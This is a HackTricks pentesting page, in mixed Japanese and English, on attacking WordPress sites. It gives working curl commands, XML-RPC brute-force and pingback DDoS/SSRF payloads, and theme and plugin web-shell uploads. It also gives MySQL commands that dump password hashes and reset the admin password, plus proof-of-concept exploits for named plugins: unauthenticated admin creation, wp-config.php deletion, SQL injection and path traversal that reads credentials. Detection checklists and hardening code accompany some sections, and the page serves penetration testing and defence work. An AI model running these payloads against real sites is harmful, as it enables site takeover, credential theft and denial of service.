Wordpress
Reading time: 39 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
-
Uploaded files go to:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt
-
Themes files can be found in /wp-content/themes/, そのため theme の php を変更して RCE を得る場合はおそらくそのパスを利用します。例: theme twentytwelve を使用している場合、404.php ファイルに次の場所から アクセス できます: /wp-content/themes/twentytwelve/404.php
-
Another useful url could be: /wp-content/themes/default/404.php
-
wp-config.php
内にはデータベースの root パスワードが見つかることがあります。 -
確認すべきデフォルトのログインパス: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Main WordPress Files
index.php
license.txt
にはインストールされている WordPress のバージョンなどの有用な情報が含まれます。wp-activate.php
は新しい WordPress サイトをセットアップする際のメールアクティベーションプロセスに使用されます。- Login フォルダ(隠すために名前が変更されている場合があります):
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
は、HTTP をトランスポート機構、XML をエンコーディング機構としてデータを送受信できる WordPress の機能を表すファイルです。この種類の通信は WordPress の REST API によって置き換えられています。wp-content
フォルダはプラグインやテーマが格納される主要なディレクトリです。wp-content/uploads/
はプラットフォームにアップロードされたファイルが保存されるディレクトリです。wp-includes/
は証明書、フォント、JavaScript ファイル、ウィジェットなどのコアファイルが格納されるディレクトリです。wp-sitemap.xml
WordPress バージョン 5.5 以降では、公開された投稿や公開可能な投稿タイプとタクソノミーを含む sitemap XML ファイルが生成されます。
Post exploitation
wp-config.php
ファイルには、WordPress がデータベースに接続するために必要な情報(データベース名、データベースホスト、ユーザー名、パスワード、認証キーとソルト、データベーステーブルのプレフィックスなど)が含まれています。この設定ファイルは DEBUG モードを有効にするためにも使え、トラブルシューティングに役立つことがあります。
ユーザー権限
- Administrator
- Editor: 自分および他者の投稿を公開・管理できます
- Author: 自分の投稿を公開・管理できます
- Contributor: 自分の投稿を執筆・管理できますが公開はできません
- Subscriber: 投稿を閲覧し自身のプロフィールを編集できます
Passive Enumeration
Get WordPress version
ファイル /license.txt
または /readme.html
が見つかるか確認してください
ページの ソースコード 内(例: https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
- CSS リンクファイル
- JavaScript ファイル
プラグインを取得
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
テーマを取得
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
一般的なバージョン抽出
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
アクティブな列挙
Plugins and Themes
おそらくすべてのPlugins and Themesを見つけることはできません。全てを発見するには、Plugins and Themesのリストを積極的にBrute Forceする必要があります(幸い、自動化ツールがこれらのリストを含んでいることがあります)。
ユーザー
- ID Brute: WordPressサイトの有効なユーザーは、ユーザーIDをBrute Forcingすることで取得できます:
curl -s -I -X GET http://blog.example.com/?author=1
レスポンスが 200 または 30X の場合、その id は 有効 です。レスポンスが 400 の場合、その id は 無効 です。
- wp-json: ユーザーの情報をクエリして取得することもできます:
curl http://blog.example.com/wp-json/wp/v2/users
ユーザーに関するいくつかの情報を公開する別の /wp-json/
エンドポイントは次のとおりです:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Note that this endpoint only exposes users that have made a post. この機能を有効にしているユーザーの情報のみが提供されます。
Also note that /wp-json/wp/v2/pages could leak IP addresses.
- Login username enumeration: ログイン時に
/wp-login.php
の表示メッセージがユーザー名の存在によって異なるため、ユーザー名の列挙が可能です。
XML-RPC
If xml-rpc.php
is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (You can automate this process using this for example).
To see if it is active try to access to /xmlrpc.php and send this request:
確認
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
Credentials Bruteforce
wp.getUserBlogs
, wp.getCategories
or metaWeblog.getUsersBlogs
は、credentials を brute-force するために使用できるメソッドの一部です。これらのいずれかが見つかれば、次のようなものを送信できます:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
The message "Incorrect username or password" inside a 200 code response should appear if the credentials aren't valid.
200 コードのレスポンス内のメッセージ "Incorrect username or password" は、認証情報が無効な場合に表示されます。
正しい認証情報を使用するとファイルをアップロードできます。レスポンスにはパスが表示されます (https://gist.github.com/georgestephanis/5681982)。
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
また、より高速な方法で資格情報をブルートフォースできます。**system.multicall
**を使えば、同じリクエストで複数の資格情報を試すことができます:
.png)
Bypass 2FA
この方法はプログラム向けで人間向けではなく古いため、2FAをサポートしていません。したがって、有効なcredsを持っているがメインの入口が2FAで保護されている場合、xmlrpc.phpを悪用してそれらのcredsで2FAを回避してloginできるかもしれません。ただし、コンソールから行えるすべての操作が可能になるわけではありませんが、Ippsecがhttps://www.youtube.com/watch?v=p8mIdm93mfw&t=1130sで説明しているようにRCEに至る可能性は残ります。
DDoS または port scanning
リストの中にメソッド_pingback.ping_が見つかれば、Wordpressに任意のホスト/ポートへリクエストを送らせることができます。
これを利用して、何千のWordpressのサイトに一つの場所へアクセスさせ(その結果その場所でDDoSが発生します)、あるいはWordpressを使って内部ネットワークをスキャンさせることも可能です(任意のポートを指定できます)。
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
もし faultCode が値 0(17)より 大きい 場合、そのポートは開いています。
前のセクションでの system.multicall
の使用方法を参照して、このメソッドを悪用して DDoS を引き起こす方法を学んでください。
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
このファイルは通常 Wordpress サイトのルートに存在します: /wp-cron.php
このファイルにアクセスされると、負荷の高い MySQL query が実行されるため、attackers が DoS を 引き起こすために利用することができます。
また、デフォルトでは wp-cron.php
は各ページロード(clientが Wordpress のページをリクエストするたび)で呼び出されるため、高トラフィックサイトでは問題(DoS)を引き起こすことがあります。
Wp-Cron を無効化し、ホスト内で定期的に必要な処理を実行する本物の cronjob を作成することを推奨します(問題を起こさないように)。
/wp-json/oembed/1.0/proxy - SSRF
try to access https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net にアクセスしてみてください。Worpress サイトがあなたにリクエストを送る可能性があります。
This is the response when it doesn't work:
SSRF
https://github.com/t0gu/quickpress/blob/master/core/requests.go
このツールは methodName: pingback.ping と パス /wp-json/oembed/1.0/proxy の存在を確認し、存在する場合はそれらを悪用しようとします。
自動ツール
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
ビットを上書きしてアクセスを取得する
実際の攻撃というより興味本位のネタです。CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man では任意の wordpress ファイルの1ビットを反転できました。したがって、ファイル /var/www/html/wp-includes/user.php
の位置 5389
を反転して NOT (!
) 演算を NOP にできます。
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
テーマで使用されている php を修正する(admin credentials が必要)
Appearance → Theme Editor → 404 Template (右側)
php shell 用のコンテンツに変更する:
更新したページへどうアクセスするかをインターネットで調べる。今回の場合、次の場所にアクセスする必要があります: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
使用例:
use exploit/unix/webapp/wp_admin_shell_upload
セッションを取得するために。
Plugin RCE
PHP plugin
.php ファイルを plugin としてアップロードできる可能性があります。
例えば次のように php backdoor を作成します:
次に新しい plugin を追加します:
plugin をアップロードして "Install Now" を押します:
「Procced」をクリック:
おそらく一見何も起きないように見えますが、Media に移動すると shell がアップロードされているのが確認できます:
それにアクセスすると、reverse shell を実行するための URL が表示されます:
Uploading and activating malicious plugin
この方法は、脆弱であることが知られている悪意のある plugin をインストールし、web shell を取得するために悪用することを含みます。プロセスは WordPress dashboard を通じて以下のように実行されます:
- Plugin Acquisition: この plugin は Exploit DB のようなソース(例: here)から入手します。
- Plugin Installation:
- WordPress dashboard に移動し、
Dashboard > Plugins > Upload Plugin
に進みます。 - ダウンロードした plugin の zip ファイルをアップロードします。
- Plugin Activation: plugin が正常にインストールされたら、dashboard から有効化する必要があります。
- Exploitation:
- plugin "reflex-gallery" をインストールして有効化すると、脆弱であるため悪用可能です。
- Metasploit framework はこの脆弱性に対する exploit を提供します。適切なモジュールをロードし特定のコマンドを実行することで、meterpreter セッションを確立し、サイトへの不正アクセスを得ることができます。
- これは WordPress サイトを悪用する多くの方法のうちの一つに過ぎないことに注意してください。
このコンテンツには、plugin をインストールおよび有効化する手順を示す WordPress dashboard の図が含まれています。ただし、正当な許可なしにこのように脆弱性を悪用することは違法であり非倫理的です。この情報は責任を持って、明確な許可のあるコンテキスト、例えば penetration testing のような合法的な場面でのみ使用してください。
For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/
From XSS to RCE
- WPXStrike: WPXStrike は Cross-Site Scripting (XSS) の脆弱性を Remote Code Execution (RCE) やその他の重大な脆弱性にエスカレートさせるために設計されたスクリプトです。詳細は this post を参照してください。Wordpress Versions 6.X.X, 5.X.X and 4.X.X. をサポートしており、以下を可能にします:
- Privilege Escalation: WordPress にユーザを作成します。
- (RCE) Custom Plugin (backdoor) Upload: カスタム plugin (backdoor) を WordPress にアップロードします。
- (RCE) Built-In Plugin Edit: WordPress の組み込み plugin を編集します。
- (RCE) Built-In Theme Edit: WordPress の組み込み theme を編集します。
- (Custom) Custom Exploits: サードパーティの WordPress Plugins/Themes に対するカスタム exploit を実行します。
Post Exploitation
ユーザ名とパスワードを抽出する:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
管理者パスワードを変更する:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Wordpress プラグイン Pentest
攻撃対象
Wordpress プラグインがどのように機能を公開するかを理解することは、その機能における脆弱性を発見するために重要です。プラグインがどのように機能を公開するかは以下の箇条書きで確認でき、脆弱なプラグインの例については this blog post を参照してください。
wp_ajax
プラグインが関数を公開する方法の1つは、AJAXハンドラを介することです。これらはロジック、認可、あるいは認証のバグを含んでいる可能性があります。さらに、これらの関数は認証と認可の両方を Wordpress の nonce の存在に基づかせることがしばしばあり、nonce は Wordpress インスタンスで認証された任意のユーザーが持ち得る(役割に関係なく)ものです。
These are the functions that can be used to expose a function in a plugin:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
The use of nopriv
makes the endpoint accessible by any users (even unathenticated ones).
caution
さらに、もし関数が wp_verify_nonce
でユーザーの認可だけを確認しているだけなら、この関数は単にユーザーがログインしているかどうかを確認するだけで、通常ユーザーの役割を確認するものではありません。したがって、低権限ユーザーが高権限の操作にアクセスできる可能性があります。
- REST API
また、register_rest_route
関数を使って wordpress に REST API を登録することで、関数を公開することも可能です:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
The permission_callback
is a callback to function that checks if a given user is authorized to call the API method.
If the built-in __return_true
function is used, it'll simply skip user permissions check.
- php ファイルへの直接アクセス
もちろん、Wordpress は PHP を使用しており、プラグイン内のファイルはウェブから直接アクセス可能です。したがって、プラグインがファイルにアクセスするだけでトリガーされる脆弱な機能を公開している場合、それは任意のユーザーによって悪用可能です。
Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Some plugins implement “trusted header” shortcuts for internal integrations or reverse proxies and then use that header to set the current user context for REST requests. If the header is not cryptographically bound to the request by an upstream component, an attacker can spoof it and hit privileged REST routes as an administrator.
- Impact: 認証なしでコアの users REST ルートを介して新しい管理者を作成することで管理者権限に昇格される可能性があります。
- Example header:
X-Wcpay-Platform-Checkout-User: 1
(ユーザーID 1 を強制指定し、通常は最初の管理者アカウントになります。) - Exploited route:
POST /wp-json/wp/v2/users
with an elevated role array.
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
Why it works
- プラグインがクライアント制御のヘッダを認証状態にマップし、権限チェックをスキップしている。
- WordPress core はこのルートに
create_users
capability を期待するが、プラグインのハックはヘッダから直接 current user コンテキストを設定することでこれを回避している。
Expected success indicators
- 作成したユーザを記述する JSON ボディを含む HTTP 201。
wp-admin/users.php
に新しい管理者ユーザが表示される。
Detection checklist
- ユーザコンテキストを設定するためにカスタムヘッダを読み取る
getallheaders()
、$_SERVER['HTTP_...']
、またはベンダー SDK(例:wp_set_current_user()
,wp_set_auth_cookie()
)を grep する。 - 堅牢な
permission_callback
チェックが欠如しており、代わりにリクエストヘッダに依存している特権付きコールバックについて REST 登録を確認する。 - REST ハンドラ内でヘッダ値だけでゲートされている core user-management 関数(
wp_insert_user
,wp_create_user
)の利用を探す。
Hardening
- クライアント制御のヘッダから認証や認可を派生させてはならない。
- reverse proxy が identity を注入する必要がある場合は、プロキシで信頼を終端しインバウンドのコピーを削除する(例: エッジで
unset X-Wcpay-Platform-Checkout-User
)、その後署名付きトークンを渡してサーバー側で検証する。 - 特権的操作を行う REST ルートでは
current_user_can()
チェックと厳格なpermission_callback
を要求する(__return_true
を使用してはならない)。 - ヘッダによる “impersonation” よりも、ファーストパーティ認証(cookies、application passwords、OAuth)を優先する。
References: see the links at the end of this page for a public case and broader analysis.
Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress のテーマやプラグインはしばしば wp_ajax_
と wp_ajax_nopriv_
フックを通じて AJAX ハンドラを公開する。nopriv バリアントが使われると コールバックは未認証の訪問者から到達可能になるため、敏感な処理は追加で次を実装しなければならない:
- 権限チェック(例:
current_user_can()
、少なくともis_user_logged_in()
)、および check_ajax_referer()
/wp_verify_nonce()
で検証される CSRF nonce、および- 厳格な入力サニタイズ / バリデーション。
Litho multipurpose theme (< 3.1) は Remove Font Family 機能でこれら 3 つの制御を忘れており、結果として次のコード(簡略化)を出荷していた:
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
このスニペットによって導入される問題点:
- Unauthenticated access –
wp_ajax_nopriv_
フックが登録されている。 - No nonce / capability check – 訪問者は誰でもこのエンドポイントにアクセスできる。
- No path sanitisation – ユーザー制御の
fontfamily
文字列がフィルタリングなしにファイルシステムのパスに連結され、古典的な../../
トラバーサルを許している。
悪用
攻撃者は単一の HTTP POST リクエストを送ることで、通常 <wp-root>/wp-content/uploads/
にある、uploads base directory 以下の 任意のファイルやディレクトリを削除できる:
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
wp-config.php
は uploads の外にあるため、デフォルトのインストールでは ../
を4回繰り返すだけで十分です。wp-config.php
を削除すると、次回の訪問時に WordPress は インストールウィザード に入り、サイトを完全に乗っ取ることが可能になります(攻撃者は新しい DB 設定を渡し、管理者ユーザーを作成するだけです)。
他に影響の大きいターゲットとしては、プラグイン/テーマの .php
ファイル(セキュリティプラグインを無効化するため)や .htaccess
のルールなどがあります。
検出チェックリスト
- ファイルシステムヘルパー(
copy()
,unlink()
,$wp_filesystem->delete()
など)を呼び出すadd_action( 'wp_ajax_nopriv_...')
のコールバック。 - パスに対してサニタイズされていないユーザー入力を連結している(
$_POST
,$_GET
,$_REQUEST
を探す)。 check_ajax_referer()
やcurrent_user_can()
/is_user_logged_in()
の不在。
強化
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// … proceed …
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
// 🔒 NO wp_ajax_nopriv_ registration
tip
常に ディスクへの書き込み/削除操作は権限が必要な操作として扱い、必ず再確認してください:
• 認証 • 認可 • Nonce • 入力のサニタイズ • パスの包含 (例: realpath()
と str_starts_with()
を併用).
Privilege escalation — 古いロールの復元と認可不足による (ASE "View Admin as Role")
多くのプラグインは "view as role" や一時的なロール切替機能を実装し、元のロールを user meta に保存して後で復元できるようにしています。復元処理がリクエストパラメータ(例: $_REQUEST['reset-for']
)とプラグイン内のリストのみを頼りにし、capabilities の確認や有効な nonce を検証していない場合、これは vertical privilege escalation になります。
実際の例として、Admin and Site Enhancements (ASE) プラグイン (≤ 7.6.2.1) で問題が見つかりました。reset ブランチは、ユーザー名が内部配列 $options['viewing_admin_as_role_are']
に存在する場合に reset-for=<username>
に基づいてロールを復元していましたが、current_user_can()
チェックも nonce の検証も行わず、現在のロールを削除して user meta _asenha_view_admin_as_original_roles
から保存されていたロールを再追加していました:
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
なぜ悪用可能か
- サーバー側の認可なしに
$_REQUEST['reset-for']
とプラグインオプションを信頼する。 - ユーザーが以前
_asenha_view_admin_as_original_roles
に高い権限を保存されていてダウングレードされている場合、リセットパスにアクセスすることでそれらを復元できる。 - 一部の導入環境では、認証済みの任意のユーザーが
viewing_admin_as_role_are
にまだ残っている別のユーザー名のリセットをトリガーできる(認可の破綻)。
攻撃の前提条件
- 当該機能が有効化された脆弱なプラグインバージョン。
- ターゲットアカウントに、以前の利用時に user meta に古い高権限ロールが保存されていること。
- 任意の認証済みセッション。リセットフローで nonce/capability が欠如していること。
悪用(例)
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
脆弱なビルドでは、これは現在のロールを削除し、保存された元のロール(例: administrator
)を再追加することで、実質的に権限を昇格させます。
Detection checklist
- ユーザーメタに“元のロール”を永続化するロール切替機能(例:
_asenha_view_admin_as_original_roles
)を探す。 - リセット/復元用のパスで以下を満たすものを特定する:
- ユーザー名を
$_REQUEST
/$_GET
/$_POST
から読み取る。 current_user_can()
およびwp_verify_nonce()
/check_admin_referer()
なしでadd_role()
/remove_role()
を使ってロールを変更する。- アクターの capabilities ではなく、プラグインのオプション配列(例:
viewing_admin_as_role_are
)に基づいて認可する。
- ユーザー名を
Hardening
- 状態を変更するすべての分岐で capability チェックを強制する(例:
current_user_can('manage_options')
あるいはそれより厳格なチェック)。 - すべてのロール/権限変更に対して nonces を要求し、それらを検証する:
check_admin_referer()
/wp_verify_nonce()
。 - リクエスト由来のユーザー名を決して信用せず、認証済みアクターと明確なポリシーに基づいてサーバー側で対象ユーザーを解決する。
- プロファイル/ロールが更新された際に“元のロール”状態を無効化して、古い高権限の復元を防ぐ:
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
- 一時的なロール切り替えには、最小限の状態を保持し、時間制限付きの権限保護トークンを使用することを検討する。
WordPress/プラグインのCVEに対するWAFの考慮事項
一般的なエッジ/サーバーWAFは、広範なパターン(SQLi、XSS、LFI)に対して調整されています。多くの高影響なWordPress/プラグインの脆弱性は、アプリケーション固有のロジックや認可のバグであり、エンジンがWordPressのルートやプラグインのセマンティクスを理解していない限り、正当なトラフィックのように見えます。
攻撃者向けメモ
- プラグイン固有のエンドポイントをクリーンなペイロードで狙う:
admin-ajax.php?action=...
,wp-json/<namespace>/<route>
, custom file handlers, shortcodes. - まず未認証パスを試す(AJAX
nopriv
, RESTで権限が緩いpermission_callback
, 公開shortcodes)。デフォルトのペイロードは難読化なしで成功することが多い。 - 典型的な高影響ケース: 権限昇格(アクセス制御の破綻)、任意ファイルのアップロード/ダウンロード、LFI、オープンリダイレクト。
防御ノート
- プラグインのCVE保護に汎用WAFシグネチャを頼ってはいけない。アプリケーション層で脆弱性固有の仮想パッチを実装するか、素早くアップデートすること。
- コード内ではネガティブな正規表現フィルタよりも、ポジティブセキュリティチェック(capabilities、nonces、厳格な入力検証)を優先する。
WordPressの保護
定期的な更新
WordPress、プラグイン、テーマが最新であることを確認する。また、wp-config.phpで自動更新が有効になっていることを確認する:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
また、信頼できる WordPress のプラグインとテーマのみをインストールしてください。
セキュリティプラグイン
その他の推奨事項
- デフォルトの admin ユーザーを削除する
- 強力な パスワード と 2FA を使用する
- 定期的にユーザーの 権限 を見直す
- Brute Force attacks を防ぐために ログイン試行回数を制限する
- ファイル
wp-admin.php
の名前を変更し、内部または特定のIPアドレスからのみアクセスを許可する。
検証不足による未認証 SQL Injection (WP Job Portal <= 2.3.2)
WP Job Portal の recruitment プラグインは savecategory タスクを公開しており、最終的に以下の脆弱なコードを modules/category/model.php::validateFormData()
内で実行します:
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
このスニペットによって導入された問題:
- Unsanitised user input –
parentid
は HTTP リクエストからそのまま来ている。 - String concatenation inside the WHERE clause –
is_numeric()
/esc_sql()
/ プリペアドステートメントが使われていない。 - Unauthenticated reachability – このアクションは
admin-post.php
を通して実行されるが、唯一のチェックは CSRF nonce (wp_verify_nonce()
) であり、これはショートコード[wpjobportal_my_resumes]
を埋め込んだ公開ページから任意の訪問者が取得できる。
Exploitation
- 新しい nonce を取得:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
parentid
を悪用して任意の SQL を注入:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
レスポンスは注入されたクエリの結果を露出するか、あるいはデータベースを変更し、SQLi を立証する。
Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
別のタスク、downloadcustomfile はパストラバーサルを介して訪問者に ディスク上の任意のファイル をダウンロードさせることを許していた。脆弱なシンクは modules/customfield/model.php::downloadCustomUploadedFile()
にある:
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name
は攻撃者が制御しており、without sanitisation のまま連結されています。繰り返しますが、唯一の防御は履歴書ページから取得できるCSRF nonceです。
Exploitation
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
サーバーは wp-config.php
の内容を返し、leaking DB credentials and auth keys。
参考
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset – delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。